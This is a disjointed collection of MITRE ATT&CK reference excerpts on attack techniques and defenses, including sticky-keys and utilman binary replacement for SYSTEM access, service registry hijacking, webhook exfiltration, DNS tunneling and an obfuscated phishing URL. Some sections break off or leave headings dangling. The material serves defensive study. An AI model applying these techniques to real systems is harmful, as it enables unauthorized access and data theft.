utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats. This mitigation can be implemented through the following measures:\n\nSignature-Based Detection:\n\n- Implementation: Use predefined signatures to identify known malware based on unique patterns such as file hashes, byte sequences, or command-line arguments. This method is effective against known threats.\n- Use Case: When malware like \"Emotet\" is detected, its signature (such as a specific file hash) matches a known database of malicious software, triggering an alert and allowing immediate quarantine of the infected file.\n\nHeuristic-Based Detection:\n\n- Implementation: Deploy heuristic algorithms that analyze behavior and characteristics of files and processes to identify potential malware, even if it doesn’t match a known signature.\n- Use Case: If a program attempts to modify multiple critical system files or initiate suspicious network communications, heuristic analysis may flag it as potentially malicious, even if no specific malware signature is available.\n\nBehavioral Detection (Behavior Prevention):\n\n- Implementation: Use behavioral analysis to detect patterns of abnormal activities, such as unusual system calls, unauthorized file encryption, or attempts to escalate privileges.\n- Use Case: Behavioral analysis can detect ransomware attacks early by identifying behavior like mass file encryption, even before a specific ransomware signature has been identified.\n\nReal-Time Scanning:\n\n- Implementation: Enable real-time scanning to automatically inspect files and network traffic for signs of malware as they are accessed, downloaded, or executed.\n- Use Case: When a user downloads an email attachment, the antivirus solution scans the file in real-time, checking it against both signatures and heuristics to detect any malicious content before it can be opened.\n\nCloud-Assisted Threat Intelligence:\n\n- Implementation: Use cloud-based threat intelligence to ensure the antivirus solution can access the latest malware definitions and real-time threat feeds from a global database of emerging threats.\n- Use Case: Cloud-assisted antivirus solutions quickly identify newly discovered malware by cross-referencing against global threat databases, providing real-time protection against zero-day attacks.\n\n**Tools for Implementation**:\n\n- Endpoint Security Platforms: Use solutions such as EDR for comprehensive antivirus/antimalware protection across all systems.\n- Centralized Management: Implement centralized antivirus management consoles that provide visibility into threat activity, enable policy enforcement, and automate updates.\n- Behavioral Analysis Tools: Leverage solutions with advanced behavioral analysis capabilities to detect malicious activity patterns that don’t rely on known signatures.\n\n## User Training\nUser Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n\nCreate Comprehensive Training Programs:\n\n- Design training modules tailored to the organization's risk profile, covering topics such as phishing, password management, and incident reporting.\n- Provide role-specific training for high-risk employees, such as helpdesk staff or executives.\n\nUse Simulated Exercises:\n\n- Conduct phishing simulations to measure user susceptibility and provide targeted follow-up training.\n- Run social engineering drills to evaluate employee responses and reinforce protocols.\n\nLeverage Gamification and Engagement:\n\n- Introduce interactive learning methods such as quizzes, gamified challenges, and rewards for successful detection and reporting of threats.\n\nIncorporate Security Policies into Onboarding:\n\n- Include cybersecurity training as part of the onboarding process for new employees.\n- Provide easy-to-understand materials outlining acceptable use policies and reporting procedures.\n\nRegular Refresher Courses:\n\n- Update training materials to include emerging threats and techniques used by adversaries.\n- Ensure all employees complete periodic refresher courses to stay informed.\n\nEmphasize Real-World Scenarios:\n\n- Use case studies of recent attacks to demonstrate the consequences of successful phishing or social engineering.\n- Discuss how specific employee actions can prevent or mitigate such attacks.\n\n## Principle\nAgainst T1566, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1546.008 Accessibility Features\n**ATT&CK T1546.008 Accessibility Features (full record).** Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are `C:\\Windows\\System32\\sethc.exe`, launched when the shift key is pressed five times and `C:\\Windows\\System32\\utilman.exe`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `%systemdir%\\`, and it must be protected by Windows File or Resource Protection (WFP/WRP). The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `C:\\Windows\\System32\\utilman.exe`) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.

This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for Phishing across platforms.**\n  - Unusual inbound email activity where attachments or embedded URLs are delivered to users followed by execution of new processes or suspicious document behavior. Detection involves correlating email metadata, file creation, and network activity after a phishing message is received. (telemetry: m365:unified:Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types, WinEventLog:Sysmon:EventCode=11, WinEventLog:Sysmon:EventCode=1)\n  - Monitor for malicious payload delivery through phishing where attachments or URLs in email clients (e.g., Thunderbird, mutt) result in unusual file creation or outbound network connections. Focus on correlation between mail logs, file writes, and execution activity. (telemetry: Application:Mail:Inbound messages with anomalous headers, spoofed SPF/DKIM failures, auditd:SYSCALL:execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir))\n  - Detection of phishing through anomalous Mail app activity, such as attachments saved to disk and immediately executed, or Safari/Preview launching URLs and files linked from email messages. Correlate UnifiedLogs events with subsequent process execution. (telemetry: macos:unifiedlog:Inbound email activity with suspicious domains or mismatched sender information, macos:unifiedlog:Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns)\n  - Phishing via Office documents containing embedded macros or links that spawn processes.

Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device.\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through ROMMONkit or Patch System Image.\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.\n\nAdversaries may use traffic duplication in conjunction with Network Sniffing, Input Capture, or Adversary-in-the-Middle depending on the goals and objectives of the adversary.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: Network Devices, IaaS\n- Sub-technique of: T1020 Automated Exfiltration - Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.\n\n**Mitigations.** - **Encrypt Sensitive Information**: Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms.

The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP). They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter.\n\nLegitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, macOS, Windows, IaaS, ESXi\n\n**Sub-techniques.** - T1021.006 Windows Remote Management: Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM).

It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1021 Remote Services - Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC.

The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n- **Restrict Web-Based Content**: Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors. This can include URL filtering, download restrictions, script blocking, and extension control to protect against exploitation, phishing, and malware delivery. This mitigation can be implemented through the following measures:\n- **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats.\n- **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques.

This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK T1658 Exploitation for Client Execution\n**ATT&CK T1658 Exploitation for Client Execution (full record).** Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to insecure coding practices that can lead to unanticipated behavior. Adversaries may take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nAdversaries may use device-based zero-click exploits for code execution. These exploits are powerful because there is no user interaction required for code execution.\n\n**SMS/iMessage Delivery.** SMS and iMessage in iOS are common targets through Drive-By Compromise, Phishing, etc. Adversaries may use embed malicious links, files, etc. in SMS messages or iMessages. Mobile devices may be compromised through one-click exploits, where the victim must interact with a text message, or zero-click exploits, where no user interaction is required.\n\n**AirDrop.** Unique to iOS, AirDrop is a network protocol that allows iOS users to transfer files between iOS devices. Before patches from Apple were released, on iOS 13.4 and earlier, adversaries may force the Apple Wireless Direct Link (AWDL) interface to activate, then exploit a buffer overflow to gain access to the device and run as root without interaction from the user.\n\n**Classification.** - Tactics: execution\n- Platforms: Android, iOS\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.\n- **Security Updates**: Install security updates in response to discovered vulnerabilities.\n\n**Detection strategies and analytics.** - **Detection of Exploitation for Client Execution**\n  - For Android, detect Exploitation for Client Execution by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems.\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment)\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\n\n**Classification.** - Tactics: initial-access, command-and-control\n- Platforms: Linux, macOS, Windows\n\n**Mitigations.** - **Restrict Web-Based Content**: Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors.

[…]\n\n## Reference: ATT&CK T1660 Phishing\n**ATT&CK T1660 Phishing (full record).** Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing.” Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.\n\nMobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Adversaries may also impersonate executives of organizations to persuade victims into performing some action on their behalf. For example, adversaries will often use social engineering techniques in text messages to trick the victims into acting quickly, which leads to adversaries obtaining credentials and other information.\n\nMobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as:\n\n- SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device.\n- Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device.

This can be accomplished by pushing an initially benign, functional application to a trusted application store, such as the Google Play Store or the Apple App Store. This allows the adversary to establish a trusted userbase that may grant permissions to the application prior to the introduction of malicious code. Then, an application update could be pushed to introduce malicious code.\n\nThis technique could also be accomplished by compromising a developer’s account. This would allow an adversary to take advantage of an existing userbase without having to establish the userbase themselves.\n\n**Classification.** - Tactics: initial-access, defense-evasion\n- Platforms: Android, iOS\n\n**Mitigations.** - **Enterprise Policy**: An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.\n- **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.\n\n**Detection strategies and analytics.** - **Detection of Application Versioning**\n  - For Android, detect Application Versioning by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:\n\n* Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off.\n* Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic.Program Upload and Program Download are disabled while in this mode.\n* Remote - Allows for remote changes to a PLCs operation mode.\n* Stop - The PLC and program is stopped, while in this mode, outputs are forced off.\n* Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.\n* Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate.

Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records.\nDNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices. Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.\n\nAdversaries may also use DNS over TLS (DoT) or HTTPS (DoH) for resolving C2 servers. This encrypts the DNS requests and allows the malware to lookup C2 servers without being detected by security systems (e.g., DNS filtering based on indicators of compromise).\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus.

Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nRecent Android security enhancements have made it more difficult to obtain a list of running processes. On Android 7 and later, there is no way for an application to obtain the process list without abusing elevated privileges. This is due to the Android kernel utilizing the `hidepid` mount feature.

Adversaries may exploit remote services by taking advantage of a mobile device’s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nDepending on the permissions level of the vulnerable remote service, an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Android, iOS\n\n**Mitigations.** - **Enterprise Policy**: An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.\n\n**Detection strategies and analytics.** - **Detection of Exploitation of Remote Services**\n  - For Android, detect Exploitation of Remote Services by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

Because Android does not allow third-party applications to hold the `CAPTURE_AUDIO_OUTPUT` permission by default, only privileged applications, such as those distributed by Google or the device vendor, can access audio output. However, adversaries may be able to gain this access after successfully elevating their privileges. With the `CAPTURE_AUDIO_OUTPUT` permission, adversaries may pass the `MediaRecorder.AudioSource.VOICE_CALL` constant to `MediaRecorder.setAudioOutput`, allowing capture of both voice call uplink and downlink.\n\nOn iOS devices, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file to access the microphone.\n\n**Classification.** - Tactics: collection\n- Platforms: Android, iOS\n\n**Mitigations.** - **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integeror hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.\n\nAdversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.

Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via Multi-hop Proxy or exfiltration of data via Traffic Duplication. Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with Internal Proxy to achieve the same goals.

Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server. Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello. When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.\n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated Automated Exfiltration of emails, chat messages, and other data. Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection.

This mitigation can be implemented through the following measures:\n\nRestrict Access to Credential Storage:\n\n- Use Case: Prevent adversaries from accessing the SAM (Security Account Manager) database on Windows systems.\n- Implementation: Enforce least privilege principles and restrict administrative access to credential stores such as `C:\\Windows\\System32\\config\\SAM`.\n\nUse Credential Guard:\n\n- Use Case: Isolate LSASS (Local Security Authority Subsystem Service) memory to prevent credential dumping.\n- Implementation: Enable Windows Defender Credential Guard on enterprise endpoints to isolate secrets and protect them from unauthorized access.\n\nMonitor for Credential Dumping Tools:\n\n- Use Case: Detect and block known tools like Mimikatz or Windows Credential Editor.\n- Implementation: Flag suspicious process behavior related to credential dumping.\n\nDisable Cached Credentials:\n\n- Use Case: Prevent adversaries from exploiting cached credentials on endpoints.\n- Implementation: Configure group policy to reduce or eliminate the use of cached credentials (e.g., set Interactive logon: Number of previous logons to cache to 0).\n\nEnable Secure Boot and Memory Protections:\n\n- Use Case: Prevent memory-based attacks used to extract credentials.\n- Implementation: Configure Secure Boot and enforce hardware-based security features like DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization).\n\n**Counters techniques.** - T1558 Steal or Forge Kerberos Tickets\n- T1599.001 Network Address Translation Traversal\n- T1547.008 LSASS Driver\n- T1003.001 LSASS Memory\n- T1601.001 Patch System Image\n- T1601.002 Downgrade System Image\n- T1558.005 Ccache Files\n- T1601 Modify System Image\n- T1599 Network Boundary Bridging\n- T1003 OS Credential Dumping\n\n## Reference: ATT&CK M1044 Restrict Library Loading\n**ATT&CK M1044 Restrict Library Loading (full record).** Restricting library loading involves implementing security controls to ensure that only trusted and verified libraries (DLLs, shared objects, etc.) are loaded into processes. Adversaries often abuse Dynamic-Link Library (DLL) Injection, DLL Search Order Hijacking, or LD_PRELOAD mechanisms to execute malicious code by forcing the operating system to load untrusted libraries. This mitigation can be implemented through the following measures:\n\nEnforce Safe Library Loading Practices:\n\n- Enable `SafeDLLSearchMode` on Windows.\n- Restrict `LD_PRELOAD` and `LD_LIBRARY_PATH` usage on Linux systems.\n\nCode Signing Enforcement:\n\n- Require digital signatures for all libraries loaded into processes.\n- Use tools like Signtool, and WDAC to enforce signed DLL execution.\n\nEnvironment Hardening:\n\n- Secure library paths and directories to prevent adversaries from placing rogue libraries.\n- Monitor user-writable directories and system configurations for unauthorized changes.\n\nAudit and Monitor Library Loading:\n\n- Enable `Sysmon` on Windows to monitor for suspicious library loads.\n- Use `auditd` on Linux to monitor shared library paths and configuration file changes.\n\nUse Application Control Solutions:\n\n- Implement AppLocker, WDAC, or SELinux to allow only trusted libraries.\n\n*Tools for Implementation*\n\nWindows-Specific Tools:\n\n- AppLocker: Application whitelisting for DLLs.\n- Windows Defender Application Control (WDAC): Restrict unauthorized library execution.\n- Signtool: Verify and enforce code signing.\n- Sysmon: Monitor DLL load events (Event ID 7).\n\nLinux-Specific Tools:\n\n- auditd: Monitor changes to library paths and critical files.\n- SELinux/AppArmor: Define policies to restrict library loading.\n- ldconfig and chattr: Secure LD configuration files and prevent unauthorized modifications.\n\nCross-Platform Solutions:\n\n- Wazuh or OSSEC: File integrity monitoring for library changes.\n- Tripwire: Detect and alert on unauthorized library modifications.\n\n**Counters techniques.** - T1574 Hijack Execution Flow\n- T1547.008 LSASS Driver\n- T1574.001 DLL\n\n## Reference: ATT&CK M1045 Code Signing\n**ATT&CK M1045 Code Signing (full record).** Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks. This mitigation can be implemented through the following measures:\n\nEnforce Signed Code Execution:\n\n- Implementation: Configure operating systems (e.g., Windows with AppLocker or Linux with Secure Boot) to allow only signed code to execute.\n- Use Case: Prevent the execution of malicious PowerShell scripts by requiring all scripts to be signed with a trusted certificate.\n\nVendor-Signed Driver Enforcement:\n\n- Implementation: Enable kernel-mode code signing to ensure that only drivers signed by trusted vendors can be loaded.\n- Use Case: A malicious driver attempting to modify system memory fails to load because it lacks a valid signature.\n\nCertificate Revocation Management:\n\n- Implementation: Use Online Certificate Status Protocol (OCSP) or Certificate Revocation Lists (CRLs) to block certificates associated with compromised or deprecated code.\n- Use Case: A compromised certificate used to sign a malicious update is revoked, preventing further execution of the software.\n\nThird-Party Software Verification:\n\n- Implementation: Require software from external vendors to be signed with valid certificates before deployment.\n- Use Case: An organization only deploys signed and verified third-party software to prevent supply chain attacks.\n\nScript Integrity in CI/CD Pipelines:\n\n- Implementation: Integrate code signing into CI/CD pipelines to sign and verify code artifacts before production release.\n- Use Case: A software company ensures that all production builds are signed, preventing tampered builds from reaching customers.\n\n**Key Components of Code Signing**\n\n- Digital Signature Verification: Verifies the authenticity of code by ensuring it was signed by a trusted entity.\n- Certificate Management: Uses Public Key Infrastructure (PKI) to manage signing certificates and revocation lists.\n- Enforced Policy for Unsigned Code: Prevents the execution of unsigned or untrusted binaries and scripts.

To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\n**Classification.** - Tactics: stealth, persistence, command-and-control\n- Platforms: Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1205 Traffic Signaling - Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration.

Devices configured to enable AutoRun functionality or legacy operating systems may be susceptible to abuse of these features to run malicious code stored on various forms of removeable media (i.e., USB, Disk Images [.ISO]). Commonly, AutoRun or AutoPlay are disabled in many operating systems configurations to mitigate against this technique. If a device is configured to enable AutoRun or AutoPlay, adversaries may execute code on the device by mounting the removable media to the device, either through physical or virtual means. This may be especially relevant for virtual machine environments where disk images may be dynamically mapped to a guest system on a hypervisor.\n\nAn example could include an adversary gaining access to a hypervisor through the management interface to modify a virtual machine’s hardware configuration. They could then deploy an iso image with a malicious AutoRun script to cause the virtual machine to automatically execute the code contained on the disk image. This would enable the execution of malicious code within a virtual machine without needing any prior remote access to that system.\n\n**Classification.** - Tactics: execution\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Operating System Configuration**: Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.\n\n**Detection strategies and analytics.** - **Detection of Autorun Image**\n  - Real-time monitoring identifies a field device loading a modified autorun image (boot read-only memory, bootloader firmware) detected by a discrepancy between the device's declared firmware hash and the authorized firmware inventory hash, with post-reboot device behavior diverging from expected (unexpected protocols active, unanticipated network connections).

This mitigation can be implemented through the following measures:\n\nDeploy Web Proxy Filtering:\n\n- Use solutions to filter web traffic based on categories, reputation, and content types.\n- Enforce policies that block unsafe websites or file types at the gateway level.\n\nEnable DNS-Based Filtering:\n\n- Implement tools to restrict access to domains associated with malware or phishing campaigns.\n- Use public DNS filtering services to enhance protection.\n\nEnforce Content Security Policies (CSP):\n\n- Configure CSP headers on internal and external web applications to restrict script execution, iframe embedding, and cross-origin requests.\n\nControl Browser Features:\n\n- Disable unapproved browser features like automatic downloads, developer tools, or unsafe scripting.\n- Enforce policies through tools like Group Policy Management to control browser settings.\n\nMonitor and Alert on Web-Based Threats:\n\n- Use SIEM tools to collect and analyze web proxy logs for signs of anomalous or malicious activity.\n- Configure alerts for access attempts to blocked domains or repeated file download failures.\n\n## Principle\nAgainst T1568.002, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1574.011 Services Registry Permissions Weakness\n**ATT&CK T1574.011 Services Registry Permissions Weakness (full record).** Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under `HKLM\\SYSTEM\\CurrentControlSet\\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions.\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the `FailureCommand` key may 